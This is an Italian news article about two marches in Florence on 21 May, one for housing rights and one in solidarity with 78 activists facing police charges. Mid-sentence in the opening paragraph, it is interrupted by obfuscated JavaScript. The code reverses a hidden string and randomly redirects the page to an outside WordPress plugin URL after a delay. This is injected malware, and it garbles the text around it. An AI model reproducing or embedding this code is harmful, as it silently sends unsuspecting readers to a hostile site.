Diritto alla casa, diritto al dissenso. Sabato 21 due cortei a Firenze

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Sabato 21 maggio sarà una giornata di particolare mobilitazione a Firenze, con due appuntamenti importanti.

La mattina sfilerà per il centro il corteo del Movimento lotta per la casa, che usa toni molto duri verso l’amministrazione comunale parl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando di una «guerra non dichiarata contro chi vuole soltanto un tetto». Il riferimento è agli «oltre cento sfratti al mese, quasi tutti per morosità», agli sgomberi degli edifici occupati, alla situazione dei profughi e di quanti sono ospiti di strutture pubbliche «con orari rigidi e regole di comportamento che rendono la vita impossibile a chiunque». È novità recente, poi, la rinuncia del comune all’acquisto dell’edificio di Via Aldini – ex “Bice Cammeo” – dove da anni è in corso un’esperienza di occupazione con autorecupero. Questa decisione, unita alla cancellazione del vincolo di destinazione pubblica, secondo i consiglieri De Zordo e Grassi «rischia di rendere vano un lavoro di anni, che poteva invece risolvere positivamente una delle tante vicende legate alla precarietà abitativa, troppo spesso oggetto del disinteresse istituzionale».
L’appuntamento del Movimento lotta per la casa è alle 10 in piazza Indipendenza.

Il pomeriggio invece, con partenza da piazza san Marco alle 15.30, sfilerà il corteo contro la repressione e in solidarietà dei 78 attivisti oggetto dei provvedimenti di polizia della settimana scorsa.
L’invito dei promotori, che hanno visto in quell’operazione un attacco plateale al diritto di manifestare il proprio dissenso, è rivolto a «tutti coloro che, in questi mesi, hanno sostenuto o partecipato alle lotte degli studenti, dei lavoratori, degli immigrati e per il diritto alla casa sviluppatesi in lungo e in largo in questo paese, a tutti coloro che ritengono che le libertà che pensavano acquisite e che in questo momento vengono rimesse in discussione, vadano difese con un’azione comune».

Ricordiamo che, oltre che per danneggiamenti, deturpamento e imbrattamento di beni immobili, resistenza, ecc., gli indagati sono accusati di associazione a delinquere: un’enormità, se la mettiamo in relazione alle azioni effettivamente compiute, ovvero la partecipazione attiva «ai movimenti studenteschi del 2009-2010 contro la devastazione della scuola e dell’università, contro l’apertura di Casapound, contro la costruzione di un CIE in Toscana e contro la presenza dell’On. Santanché al Polo di Novoli».

È difficile non temere che una simile operazione sia un modo per intimidire e “prevenire” quelle pratiche quotidiane che sono le uniche a disposizione dei cittadini comuni per far sentire la propria voce: manifestazioni spontanee, occupazioni, presidi e blocchi del traffico.
Sono tempi bui, in cui i fischi ad un comizio sono ritenuti violenza criminale, scrivere sui muri è roba da terroristi, e un anziano contestatore del premier viene preso a calci e trascinato via dalla sua “security” privata…
Non ci possiamo permettere di pensare la cosa non ci riguardi. Certe distrazioni si pagano care.

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